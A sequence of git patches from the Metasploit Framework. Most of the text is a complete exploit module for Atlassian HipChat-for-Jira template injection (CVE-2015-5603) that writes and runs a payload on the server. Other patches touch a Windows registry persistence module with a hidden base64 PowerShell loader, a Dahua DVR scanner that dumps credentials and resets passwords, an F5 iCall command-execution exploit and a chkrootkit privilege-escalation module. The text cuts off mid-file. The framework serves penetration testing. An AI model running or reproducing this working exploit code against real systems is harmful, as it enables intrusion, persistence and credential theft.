modules/exploits/windows/local/registry_persistence.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/registry_persistence.rb b/modules/exploits/windows/local/registry_persistence.rb index be1c48aec6..7404378e1c 100644 --- a/modules/exploits/windows/local/registry_persistence.rb +++ b/modules/exploits/windows/local/registry_persistence.rb @@ -53,6 +53,8 @@ class Metasploit4 < Msf::Exploit::Local [false, 'The name to use for the \'Run\' key. (Default: random)' ]), OptBool.new('CREATE_RC', [false, 'Create a resource file for cleanup', true]), + OptString.new('SLEEP_TIME', + [false, 'Amount of time to sleep (in seconds) before executing payload. (Default: 0)', 0]), ], self.class) end @@ -66,7 +68,7 @@ class Metasploit4 < Msf::Exploit::Local end def generate_cmd(root_path, blob_key_name, blob_key_reg) - cmd = "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\"" + cmd = "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep #{datastore['SLEEP_TIME'].to_i}; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\"" return cmd end From 3d95bd7851060c406c4804c4a12e1b7b6824b30e Mon Sep 17 00:00:00 2001 From: Tyler Bennett <tyler@talosinfosec.com> Date: Wed, 18 Nov 2015 10:40:50 -0500 Subject: [PATCH 1243/2172] fixed issue with msftidy and fixed rubocop issues that broke the module --- .../scanner/misc/dahua_dvr_auth_bypass.rb | 31 ++++++++++--------- 1 file changed, 16 insertions(+), 15 deletions(-) diff --git a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb index 57a8fc9f0a..de75f38f07 100644 --- a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb +++ b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb @@ -82,12 +82,12 @@ class Metasploit3 < Msf::Auxiliary serial = Regexp.last_match[1] print_status("Serial Number: #{serial} @ #{rhost}:#{rport}!") end - + connect sock.put(email) - if data == sock.get(1024).split('&&') + if data = sock.get(1024).split('&&') print_status("Email Settings: @ #{rhost}:#{rport}!") if data[0] =~ /([\x00]{8,}(?=.{1,255}$)[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?(?:\.[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?)*\.?+:\d+)/ - if mailhost == Regexp.last_match[1].split(':') + if mailhost = Regexp.last_match[1].split(':') print_status(" Server: #{mailhost[0]}") unless mailhost[0].nil? print_status(" Destination Email: #{data[1]}") unless mailhost[1].nil? end @@ -105,9 +105,9 @@ class Metasploit3 < Msf::Auxiliary end end end - + connect sock.put(ddns) - if data == sock.get(1024) + if data = sock.get(1024) data = data.split(/&&[0-1]&&/) data.each_with_index do |val, index| if index > 0 @@ -132,9 +132,9 @@ class Metasploit3 < Msf::Auxiliary end end end - + connect sock.put(nas) - if data == sock.get(1024) + if data = sock.get(1024) print_status("Nas Settings @ #{rhost}:#{rport}!:") server = '' port = '' @@ -155,7 +155,7 @@ class Metasploit3 < Msf::Auxiliary end end end - + connect sock.put(channels) data = sock.get(1024).split('&&') disconnect @@ -165,7 +165,7 @@ class Metasploit3 < Msf::Auxiliary end connect sock.put(users) - if data == sock.get(1024).split('&&') + if data = sock.get(1024).split('&&') print_status("Users\\Hashed Passwords\\Rights\\Description: @ #{rhost}:#{rport}!") data.each do |val| usercount += 1 @@ -186,12 +186,13 @@ class Metasploit3 < Msf::Auxiliary sname: 'dvr', name: 'Dahua Authentication Password Hash Exposure', info: "Obtained password hash for user #{username}: #{md5hash}", - refs: :references + refs: references ) end end + connect sock.put(groups) - if data == sock.get(1024).split('&&') + if data = sock.get(1024).split('&&') print_status("User Groups: @ #{rhost}:#{rport}!") data.each { |val| print_status(" #{val[/(([\d]+)[:]([\w]+))/]}") } end @@ -210,7 +211,7 @@ class Metasploit3 < Msf::Auxiliary sock.put(u3) data = sock.get(1024) sock.put(u1) - if data == sock.get(1024) + if data = sock.get(1024) print_good("PASSWORD RESET!: user #{datastore['USERNAME']}'s password reset to #{datastore['PASSWORD']}! @ #{rhost}:#{rport}!") end # elsif (datastore['ACTION'] == "DELETE") @@ -304,7 +305,7 @@ class Metasploit3 < Msf::Auxiliary } credential_data = { - module_fullname: :fullname, + module_fullname: fullname, origin_type: :service, private_data: hash, private_type: :nonreplayable_hash, @@ -330,7 +331,7 @@ class Metasploit3 < Msf::Auxiliary } credential_data = { - module_fullname: :fullname, + module_fullname: fullname, origin_type: :service, private_data: ddns_pass, private_type: :password, @@ -355,7 +356,7 @@ class Metasploit3 < Msf::Auxiliary } credential_data = { - module_fullname: :fullname, + module_fullname: fullname, origin_type: :service, private_data: mpass, private_type: :password, From a484b318eb6d2493d1b8f00f42896c4f87b7518b Mon Sep 17 00:00:00 2001 From: sammbertram <sammbertram@users.noreply.github.com> Date: Wed, 18 Nov 2015 16:13:18 +0000 Subject: [PATCH 1244/2172] Update registry_persistence.rb --- modules/exploits/windows/local/registry_persistence.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/registry_persistence.rb b/modules/exploits/windows/local/registry_persistence.rb index 7404378e1c..1e9afcf7a1 100644 --- a/modules/exploits/windows/local/registry_persistence.rb +++ b/modules/exploits/windows/local/registry_persistence.rb @@ -53,7 +53,7 @@ class Metasploit4 < Msf::Exploit::Local [false, 'The name to use for the \'Run\' key. (Default: random)' ]), OptBool.new('CREATE_RC', [false, 'Create a resource file for cleanup', true]), - OptString.new('SLEEP_TIME', + OptInt.new('SLEEP_TIME', [false, 'Amount of time to sleep (in seconds) before executing payload. (Default: 0)', 0]), ], self.class) end From 5acd9b283e884aaad3fbc2d308590182f88e5d8f Mon Sep 17 00:00:00 2001 From: Tyler Bennett <tyler@talosinfosec.com> Date: Wed, 18 Nov 2015 11:54:32 -0500 Subject: [PATCH 1245/2172] removed misc comments that arent needed --- .../scanner/misc/dahua_dvr_auth_bypass.rb | 75 +------------------ 1 file changed, 1 insertion(+), 74 deletions(-) diff --git a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb index de75f38f07..97ad3b2c6c 100644 --- a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb +++ b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb @@ -98,7 +98,6 @@ class Metasploit3 < Msf::Auxiliary mpass = "#{data[6]}" mailserver = "#{mailhost[0]}" print_good("MailServer: #{mailserver}") - # destemail = "#{data[1]}" if !mailhost[1].nil? if !mailserver.to_s.strip.length == 0 && !muser.to_s.strip.length == 0 && !mpass.to_s.strip.length == 0 report_email_creds(mailserver, rport, muser, mpass) if !mailserver.nil? && !muser.nil? && !mpass.nil? end @@ -178,7 +177,6 @@ class Metasploit3 < Msf::Auxiliary hash = "#{rhost} #{username}:$dahua$#{md5hash}" report_hash(ip, rport, user, hash) # Write the vulnerability to the database - # unless reported_vuln report_vuln( host: rhost, port: rport, @@ -205,85 +203,14 @@ class Metasploit3 < Msf::Auxiliary u3 = "\xa6\x00\x00\x00#{userstring.length.chr}\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + userstring sock.put(u1) - # data = sock.get(1024) sock.put(u2) - # data = sock.get(1024) sock.put(u3) data = sock.get(1024) sock.put(u1) if data = sock.get(1024) print_good("PASSWORD RESET!: user #{datastore['USERNAME']}'s password reset to #{datastore['PASSWORD']}! @ #{rhost}:#{rport}!") end -# elsif (datastore['ACTION'] == "DELETE") -# u1 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" + -# "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" -# u2 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00" + -# "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" -# delete = "\xa6\x00\x00\x00#{datastore['USERNAME'].length.chr}\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00" + -# "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + -# datastore['USERNAME'] -# print delete -# sock.send(u1, 0) -# sock.get_once -# sock.send(delete, 0) -# sock.get_once -# sock.send(u2, 0) -# sock.get_once -# -# -# elsif (datastore['ACTION'] == "ADD") -# userstring = (usercount + 1).to_s + ":" + datastore['USERNAME'] + ":" + datastore['PASSWORD'] -# userstring << "\x3a\x31\x3a\x31\x2c\x32\x2c\x33\x2c\x34\x2c\x35\x2c\x36\x2c\x37" + -# "\x2c\x38\x2c\x39\x2c\x31\x30\x2c\x31\x31\x2c\x32\x30\x2c\x32\x31" + -# "\x2c\x32\x32\x2c\x32\x33\x2c\x32\x34\x2c\x32\x35\x2c\x32\x36\x2c" + -# "\x32\x37\x2c\x32\x38\x2c\x33\x37\x2c\x33\x38\x2c\x33\x39\x2c\x34" + -# "\x30\x2c\x34\x32\x2c\x34\x33\x2c\x34\x34\x2c\x34\x35\x2c\x34\x36" + -# "\x2c\x34\x37\x2c\x34\x38\x2c\x34\x39\x2c\x35\x30\x2c\x35\x31\x2c" + -# "\x35\x32\x2c\x35\x33\x2c\x35\x34\x2c\x35\x35\x2c\x35\x36\x2c\x35" + -# "\x37\x2c\x35\x38\x2c\x35\x39\x2c\x36\x30\x3a\x3a\x31" -# -# u2 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00" + -# "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" -# u3 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" + -# "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" -# u4 = "\xa6\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" + -# "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" -# u5 = "\xa6\x00\x00\x00#{userstring.length.chr}\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00" + -# "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + -# userstring -# sock.put(u1) -# sock.get(1024) -# sock.put(u1) -# sock.get(1024) -# sock.put(u2) -# sock.get(1024) -# sock.put(u3) -# sock.get(1024) -# sock.put(u2) -# sock.get(1024) -# sock.put(u3) -# sock.get(1024) -# sock.put(u4) -# sock.get(1024) -# sock.put(groups) -# sock.get(1024) -# sock.put(users) -# sock.get(1024) -# sock.put(u5) -# sock.get(1024) -# sock.put(u2) -# sock.get(1024) -# sock.put(u3) -# sock.get(1024) -# sock.put(u4) -# sock.put(1024) -# sock.put(groups) -# sock.get(1024) -# sock.put(users) -# sock.put(1024) -# print_good("ADDED USER!: user #{datastore['USERNAME']}'s password is #{datastore['PASSWORD']}") -# -# else + end if datastore['CLEAR_LOGS'] From d6921fa133ed2335ba48a7c08b212e6e45e16df2 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Wed, 18 Nov 2015 11:34:25 -0600 Subject: [PATCH 1246/2172] Add Atlassian HipChat for Jira Plugin Velocity Template Injection CVE-2015-5603 Also fixes a bug in response.rb (Fix #6254) --- lib/rex/proto/http/response.rb | 2 +- .../unix/webapp/jira_hipchat_template.rb | 446 ++++++++++++++++++ 2 files changed, 447 insertions(+), 1 deletion(-) create mode 100644 modules/exploits/unix/webapp/jira_hipchat_template.rb diff --git a/lib/rex/proto/http/response.rb b/lib/rex/proto/http/response.rb index e88331b7a8..0e0594ebc2 100644 --- a/lib/rex/proto/http/response.rb +++ b/lib/rex/proto/http/response.rb @@ -108,7 +108,7 @@ class Response < Packet # # @return [Hash] def get_json_document - json = [] + json = {} begin json = JSON.parse(self.body) diff --git a/modules/exploits/unix/webapp/jira_hipchat_template.rb b/modules/exploits/unix/webapp/jira_hipchat_template.rb new file mode 100644 index 0000000000..b25e083604 --- /dev/null +++ b/modules/exploits/unix/webapp/jira_hipchat_template.rb @@ -0,0 +1,446 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'json' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => "Atlassian HipChat for Jira Plugin Velocity Template Injection", + 'Description' => %q{ + Atlassian Hipchat is a web service for internal instant messaging. A plugin is available + for Jira that allows team collibration at real time. A message can be used to inject Java + code into a Velocity template, and gain code exeuction as Jira. Authentication is required + to exploit this vulnerability, and you must make sure the account you're using isn't + protected by captcha. + + HipChat for Jira plugin versions between 1.3.2 and 6.30.0 are affected. Jira versions + between 6.3.5 and 6.4.10 are also affected by default, because they were bundled with + a vulnerable copy of HipChat. + + When using the check command, if you supply a valid username and password, the module + will be able login and check the HipChat version. If not, it is limited to checking + the Jira version. + + This vulnerability was originally discovered internally by Atlassian. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Chris Wood', # PoC + 'sinn3r' # Metasploit + ], + 'References' => + [ + [ 'CVE', '2015-5603' ], + [ 'EDB', '38551' ], + [ 'BID', '76698' ], + [ 'URL', 'https://confluence.atlassian.com/jira/jira-and-hipchat-for-jira-plugin-security-advisory-2015-08-26-776650785.html' ] + ], + 'Platform' => 'linux', + 'Arch' => ARCH_X86, + 'Targets' => [[ 'HipChat for Jira plugin', {} ]], + 'DefaultOptions' => + { + 'RPORT' => 8080 + }, + 'Privileged' => false, + 'DisclosureDate' => 'Oct 28 2015', + 'DefaultTarget' => 0 + )) + + register_options( + [ + # Auth is required, but when we use the check command we allow them to be optional. + OptString.new('JIRAUSER', [false, 'Jira Username', '']), + OptString.new('JIRAPASS', [false, 'Jira Password', '']), + OptString.new('TARGETURI', [true, 'The base to Jira', '/']) + ], self.class) + + register_advanced_options( + [ + OptString.new('WriteDir', [true, 'A directory where we can place our payload', '/tmp']) + ], self.class) + end + + + # Returns a cookie in a hash, so you can ask for a specific parameter. + # + # @return [Hash] + def get_cookie_as_hash(cookie) + new_cookie = {} + + cookie.split(';').each do |c| + cookie_name, cookie_value = c.scan(/(.+)=(.+)/).flatten + new_cookie[cookie_name.strip] = cookie_value.strip + end + + new_cookie + end + + + # Checks the target by actually triggering the bug. + # + # @return [Array] Exploit::CheckCode::Vulnerable if bug was triggered. + # Exploit::CheckCode::Unknown if something failed. + # Exploit::CheckCode::Safe for the rest. + def do_explicit_check + begin + cookie = do_login + # I don't really care which command to execute, as long as it's a valid one. + # If the command is valid, it should return {"message"=>"0"}. + # If the command is not valid, it should return an empty hash. + c = get_exec_code('echo') + res = inject_template(c, cookie) + json = res.get_json_document + if json['message'] && json['message'] == '0' + return Exploit::CheckCode::Vulnerable + end + rescue Msf::Exploit::Failed => e + vprint_error(e.message) + return Exploit::CheckCode::Unknown + end + + Exploit::CheckCode::Safe + end + + + # Returns the Jira version + # + # @return [String] Found Jira version + # @return [NilClass] No Jira version found. + def get_jira_version + version = nil + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'secure', 'Dashboard.jspa') + }) + + unless res + vprint_error('Connection timed out while retrieving the Jira version.') + return version + end + + metas = res.get_html_meta_elements + + version_element = metas.select { |m| + m.attributes['name'] && m.attributes['name'].value == 'ajs-version-number' + }.first + + unless version_element + vprint_error('Unable to find the Jira version.') + return version + end + + version_element.attributes['content'] ? version_element.attributes['content'].value : nil + end + + + # Checks the target by looking at things like the Jira version, or whether the Jira web app + # exists or not. + # + # @return [Array] Check code. If the Jira version matches the vulnerable range, it returns + # Exploit::CheckCode::Appears. If we can only tell it runs on Jira, we return + # Exploit::CheckCode::Detected, because it's possible to have Jira not bundled + # with HipChat by default, but installed separately. For other scenarios, we + # return Safe. + def do_passive_check + jira_version = get_jira_version + vprint_status("Found Jira version: #{jira_version}") + if jira_version && jira_version >= '6.3.5' && jira_version < '6.4.11' + return Exploit::CheckCode::Appears + else + return Exploit::CheckCode::Detected + end + + Exploit::CheckCode::Safe + end + + + # Checks the vulnerability. Username and password are required to be able to accurately verify + # the vuln. If supplied, we will try the explicit check (which will trigger the bug, so should + # be more reliable). If not, we will try the passive one (less accurately, but better than + # nothing). + # + # @see #do_explicit_check + # @see #do_passive_check + # + # @return [Array] Check code + def check + checkcode = Exploit::CheckCode::Safe + + if jira_cred_empty? + vprint_status("No username and password supplied, so we can only do a passive check.") + checkcode = do_passive_check + else + checkcode = do_explicit_check + end + + checkcode + end + + + # Returns the Jira username set by the user + def jira_username + datastore['JIRAUSER'] + end + + + # Returns the Jira password set by the user + def jira_password + datastore['JIRAPASS'] + end + + + # Reports username and password to the database. + # + # @param opts [Hash] + # @option opts [String] :user + # @option opts [String] :password + # + # @return [void] + def report_cred(opts) + service_data = { + address: rhost, + port: rport, + service_name: ssl ? 'https' : 'http', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: fullname, + post_reference_name: self.refname, + private_data: opts[:password], + origin_type: :service, + private_type: :password, + username: opts[:user] + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + last_attempted_at: Time.now + }.merge(service_data) + + create_credential_login(login_data) + end + + + # Returns a valid login cookie. + # + # @return [String] + def do_login + cookie = '' + + prerequisites = get_login_prerequisites + xsrf = prerequisites['atlassian.xsrf.token'] + sid = prerequisites['JSESSIONID'] + uri = normalize_uri(target_uri.path, 'rest', 'gadget', '1.0', 'login') + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => uri, + 'headers' => { 'X-Requested-With' => 'XMLHttpRequest' }, + 'cooke' => "atlassian.xsrf.token=#{xsrf}; JSESSIONID=#{sid}", + 'vars_post' => { + 'os_username' => jira_username, + 'os_password' => jira_password, + 'os_captcha' => '' # Not beatable yet + } + }) + + unless res + fail_with(Failure::Unknown, 'Connection timed out while trying to login') + end + + json = res.get_json_document + + if json.empty? + fail_with(Failure::Unknown, 'Server returned a non-JSon response while trying to login.') + end + + if json['loginSucceeded'] + cookie = res.get_cookies + elsif !json['loginSucceeded'] && json['captchaFailure'] + fail_with(Failure::NoAccess, "#{jira_username} is protected by captcha. Please try a different account.") + elsif !json['loginSucceeded'] + fail_with(Failure::NoAccess, 'Incorrect username or password') + end + + report_cred( + user: jira_username, + password: jira_password + ) + + cookie + end + + + # Returns login prerequisites + # + # @return [Hash] + def get_login_prerequisites + prerequisites = {} + + uri = normalize_uri(target_uri.path, 'secure', 'Dashboard.jspa') + res = send_request_cgi({ 'uri' => uri }) + + unless res + fail_with(Failure::Unknown, 'Connection timed out while getting login prerequisites') + end + + get_cookie_as_hash(res.get_cookies) + end + + + # Returns Java code that can be used to inject to the template in order to write a file. + # + # @note This Java code is not able to properly close the file handle. So after using it, you should use #get_dup_file_code, + # and then execute the new file instead. + # + # @param fname [String] File to write to. + # @param p [String] Payload + # @return [String] + def get_write_file_code(fname, p) + b64 = Rex::Text.encode_base64(p) + %Q| $i18n.getClass().forName('java.io.FileOutputStream').getConstructor($i18n.getClass().forName('java.lang.String')).newInstance('#{fname}').write($i18n.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer('#{b64}')) | + end + + + # Returns Java code that can be used to inject to the template in order to chmod a file. + # + # @param fname [String] File to chmod + # @return [String] + def get_chmod_code(fname) + get_exec_code("chmod 777 #{fname}") + end + + + # Returns Java code that can be used to inject to the template in order to copy a file. + # + # @note The purpose of this method is to have a file that is not busy, so we can execute it. + # It is meant to be used with #get_write_file_code. + # + # @param fname [String] The file to copy + # @param new_fname [String] The new file + # @return [String] + def get_dup_file_code(fname, new_fname) + get_exec_code("cp #{fname} #{new_fname}") + end + + + # Returns Java code that can be used to inject to the template in order to execute a file. + # + # @param cmd [String] command to execute + # @return [String] + def get_exec_code(cmd) + %Q| $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{cmd}').waitFor() | + end + + + # Returns a boolean indicating whether the module has a username and password. + # + # @return [TrueClass] There is an empty cred. + # @return [FalseClass] No empty cred. + def jira_cred_empty? + jira_username.blank? || jira_password.blank? + end + + + # Injects Java code to the template. + # + # @param p [String] Code that is being injected. + # @param cookie [String] A cookie that contains a valid JSESSIONID + # @return [void] + def inject_template(p, cookie) + login_sid = get_cookie_as_hash(cookie)['JSESSIONID'] + + uri = normalize_uri(target_uri.path, 'rest', 'hipchat', 'integrations', '1.0', 'message', 'render') + uri << '/' + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => uri, + 'cookie' => "JSESSIONID=#{login_sid}", + 'ctype' => 'application/json', + 'data' => { 'message' => p }.to_json + }) + + if !res + # This seems to trigger every time even though we're getting a shell. So let's downplay + # this a little bit. At least it's logged to allow the user to debug. + elog('Connection timed out in #inject_template') + elsif res && /Error report/ === res.body + print_error('Failed to inject and execute code:') + vprint_line(res.body) + elsif res + vprint_status("Server response:") + vprint_line res.body + end + + res + end + + # Returns the normalized file path for payload. + # + # @return [String] + def normalize_payload_fname(fname) + Rex::FileUtils.normalize_unix_path(datastore['WriteDir'], fname) + end + + def exploit + if jira_cred_empty? + fail_with(Failure::BadConfig, 'Jira username and password are required.') + end + + print_status("Attempting to login as #{jira_username}:#{jira_password}") + cookie = do_login + print_good("Successfully logged in as #{jira_username}") + + fname = normalize_payload_fname(Rex::Text.rand_text_alpha(5)) + new_fname = normalize_payload_fname(Rex::Text.rand_text_alpha(6)) + register_files_for_cleanup(fname, new_fname) + + print_status("Attempting to write #{fname}") + c = get_write_file_code(fname, generate_payload_exe) + inject_template(c, cookie) + + print_status("chmod +x #{fname}") + c = get_exec_code("chmod 777 #{fname}") + inject_template(c, cookie) + + # Unfortunately, it seems very tricky to properly close the file handle due to the way we are injecting code. + # If the file is buys, we won't be able to execute it. A way to work around that is to duplicate the file, + # and the new one should be executable. + print_status("New file will be #{new_fname}") + c = get_dup_file_code(fname, new_fname) + inject_template(c, cookie) + + print_status("Executing #{new_fname}") + c = get_exec_code(new_fname) + inject_template(c, cookie) + end + + def print_status(msg='') + super("#{peer} - #{msg}") + end + + def print_good(msg='') + super("#{peer} - #{msg}") + end + + def print_error(msg='') + super("#{peer} - #{msg}") + end + +end From 682a41af2e28513b8b8fad96e3420fd8e1f3824b Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Wed, 18 Nov 2015 11:52:50 -0600 Subject: [PATCH 1247/2172] Update description --- modules/exploits/unix/webapp/jira_hipchat_template.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/exploits/unix/webapp/jira_hipchat_template.rb b/modules/exploits/unix/webapp/jira_hipchat_template.rb index b25e083604..bf9b58c67c 100644 --- a/modules/exploits/unix/webapp/jira_hipchat_template.rb +++ b/modules/exploits/unix/webapp/jira_hipchat_template.rb @@ -28,8 +28,9 @@ class Metasploit3 < Msf::Exploit::Remote a vulnerable copy of HipChat. When using the check command, if you supply a valid username and password, the module - will be able login and check the HipChat version. If not, it is limited to checking - the Jira version. + will be able to trigger the bug and check more accurately. If not, it falls back to + passive, which can only tell if the target is running on a Jira version that is bundled + with a vulnerable copy of Hipchat by default, which is less reliable. This vulnerability was originally discovered internally by Atlassian. }, From 0cda20c9e2d47b49678adc9bf0e4f95128a6b712 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Wed, 18 Nov 2015 12:02:28 -0600 Subject: [PATCH 1248/2172] Fix everything pointed out by @jlee-r7 --- modules/auxiliary/scanner/db2/discovery.rb | 4 ++-- modules/auxiliary/scanner/motorola/timbuktu_udp.rb | 3 --- modules/auxiliary/scanner/sap/sap_router_info_request.rb | 6 +++++- 3 files changed, 7 insertions(+), 6 deletions(-) diff --git a/modules/auxiliary/scanner/db2/discovery.rb b/modules/auxiliary/scanner/db2/discovery.rb index c94537a49b..3b6aea526d 100644 --- a/modules/auxiliary/scanner/db2/discovery.rb +++ b/modules/auxiliary/scanner/db2/discovery.rb @@ -46,7 +46,7 @@ class Metasploit3 < Msf::Auxiliary :proto => 'udp', :port => datastore['RPORT'], :type => 'SERVICE_INFO', - :data => res[2] + "_" + res[1] + :data => "#{res[2]}_#{res[1]}" ) report_service( @@ -54,7 +54,7 @@ class Metasploit3 < Msf::Auxiliary :port => datastore['RPORT'], :proto => 'udp', :name => "ibm-db2", - :info => res[2] + "_" + res[1] + :info => "#{res[2]}_#{res[1]}" ) print_status("Host #{ip} node name is " + res[2] + " with a product id of " + res[1] ) diff --git a/modules/auxiliary/scanner/motorola/timbuktu_udp.rb b/modules/auxiliary/scanner/motorola/timbuktu_udp.rb index 47b57c7adf..525441c1c4 100644 --- a/modules/auxiliary/scanner/motorola/timbuktu_udp.rb +++ b/modules/auxiliary/scanner/motorola/timbuktu_udp.rb @@ -52,9 +52,6 @@ class Metasploit3 < Msf::Auxiliary else print_error("Unable to determine info for #{ip}...") end - rescue ::Errno::EPIPE, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused => e - vprint_error(e.message) - elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") ensure disconnect_udp end diff --git a/modules/auxiliary/scanner/sap/sap_router_info_request.rb b/modules/auxiliary/scanner/sap/sap_router_info_request.rb index 4c95966b43..c87f04e5b8 100644 --- a/modules/auxiliary/scanner/sap/sap_router_info_request.rb +++ b/modules/auxiliary/scanner/sap/sap_router_info_request.rb @@ -109,7 +109,11 @@ class Metasploit4 < Msf::Auxiliary print_good("#{host_port} - Connected to saprouter") print_good("#{host_port} - Sending ROUTER_ADM packet info request") sock.put(ni_packet) - packet_len = sock.read(4).to_s.unpack('H*')[0].to_i 16 + sock_res = sock.read(4) + unless sock_res + fail_with(Failure::Unknown, 'Unable to get the packet length') + end + packet_len = sock_res.unpack('H*')[0].to_i 16 print_good("#{host_port} - Got INFO response") while packet_len !=0 count += 1 From c0d9c65ce7230c284a3b4675bae35580c8f2530a Mon Sep 17 00:00:00 2001 From: m0t <mamaragan@gmail.com> Date: Wed, 18 Nov 2015 18:48:34 +0000 Subject: [PATCH 1249/2172] always overwrite the payload file --- modules/exploits/linux/http/f5_icall_cmd.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/f5_icall_cmd.rb b/modules/exploits/linux/http/f5_icall_cmd.rb index 37cf5aefa5..2afec6aa51 100644 --- a/modules/exploits/linux/http/f5_icall_cmd.rb +++ b/modules/exploits/linux/http/f5_icall_cmd.rb @@ -211,7 +211,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit # phase 1: create iCall script to create file with payload, execute it and remove it. shell_cmd = %(echo #{Rex::Text.encode_base64(payload.encoded)}|base64 --decode >#{@payload_path}; chmod +x #{@payload_path};#{@payload_path}) - cmd = %(if { ! [file exists #{@payload_path}]} { exec /bin/sh -c "#{shell_cmd}"}) + cmd = %(exec /bin/sh -c "#{shell_cmd}") arg_max = datastore['ARG_MAX'] if shell_cmd.size > arg_max From 657e50bb867120f5650ca85a985c9f541550f262 Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Wed, 18 Nov 2015 10:35:11 -0600 Subject: [PATCH 1250/2172] Clean up module --- modules/exploits/linux/local/chkrootkit.rb | 77 ---------------------- modules/exploits/unix/local/chkrootkit.rb | 75 +++++++++++++++++++++ 2 files changed, 75 insertions(+), 77 deletions(-) delete mode 100644 modules/exploits/linux/local/chkrootkit.rb create mode 100644 modules/exploits/unix/local/chkrootkit.rb diff --git a/modules/exploits/linux/local/chkrootkit.rb b/modules/exploits/linux/local/chkrootkit.rb deleted file mode 100644 index 920ef932a4..0000000000 --- a/modules/exploits/linux/local/chkrootkit.rb +++ /dev/null @@ -1,77 +0,0 @@ -## -# This module requires Metasploit: http://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -class Metasploit4 < Msf::Exploit::Local - # This could also be excellent, but since it requires - # up to one day to pop a shell, lets set it to Manual instead. - Rank = ManualRanking - - include Msf::Post::File - include Msf::Exploit::FileDropper - - include Msf::Exploit::Local::Linux - - def initialize(info = {}) - super(update_info(info, { - 'Name' => 'Chkrootkit 0.49 Local Privilege Escalation', - 'Description' => %q( - Chkrootkit before 0.50 will run as root any executable file named - /tmp/updater, allowing a trivial privsec. - - WfsDelay is set to 24h by default, since this is how often a chkrootkit - scan is scheduled by default. - ), - 'License' => MSF_LICENSE, - 'Author' => [ - 'Thomas Stangner', # original exploit - 'Julien (jvoisin) Voisin' # metasploit module - ], - 'Platform' => %w( bsd linux unix solaris osx), - 'SessionTypes' => [ 'shell', 'meterpreter' ], - 'References' => - [ - [ 'BID', '67813' ], - [ 'CVE', '2014-0476' ], - [ 'CWE', '20' ], - [ 'EDB', '33899' ], - [ 'OSVDB', '107710' ], - [ 'URL', 'http://seclists.org/oss-sec/2014/q2/430' ] - ], - 'DisclosureDate' => "Jun 28 2014", - 'Arch' => ARCH_CMD, - 'DefaultOptions' => 